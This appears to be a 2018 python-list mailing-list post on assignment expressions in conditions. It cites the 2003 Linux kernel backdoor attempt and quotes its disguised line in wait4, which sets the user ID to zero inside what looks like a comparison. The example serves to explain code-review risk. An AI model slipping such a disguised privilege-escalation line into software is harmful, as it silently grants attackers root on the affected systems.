On Wed, 09 May 2018 12:51:15 -0700, Paul Rubin wrote: > Dennis Lee Bieber <wlfr...@ix.netcom.com> writes: >> Yes, code reviews may catch such errors... and later, when the >> summary of errors is analyzed for suggestions on how to reduce them -- >> the odds are good that "assignment expressions" will be banned in the >> style documents for that language at the company. > > I don't think I've worked on any C programs with that style restriction > and I can't think of any times when I found that type of bug in deployed > code. I've made the error once or twice while coding, but caught it > right away during inspection or testing. Banning it seems > counterproductive. I could imagine having it flagged by a compiler > warning that can be locally disabled by a pragma.
Interestingly, the problem is broader than inadvertently making the mistake yourself; it includes catching deliberate misdirection by others. In the famous "Linux Backdoor Attempt of 2003" (https://freedom-to-tinker.com/2013/10/09/the-linux-backdoor-attempt-of-2003/), somebody who I think never got caught introduced these lines into the code for the wait4 function: if ((options == (__WCLONE|__WALL)) && (current->uid = 0)) retval = -EINVAL; Setting the user ID to zero confers root privileges. - Peter -- https://mail.python.org/mailman/listinfo/python-list
